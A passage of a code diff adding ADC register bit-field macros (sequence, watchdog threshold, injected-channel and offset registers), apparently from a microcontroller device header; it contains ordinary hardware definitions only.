(0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< 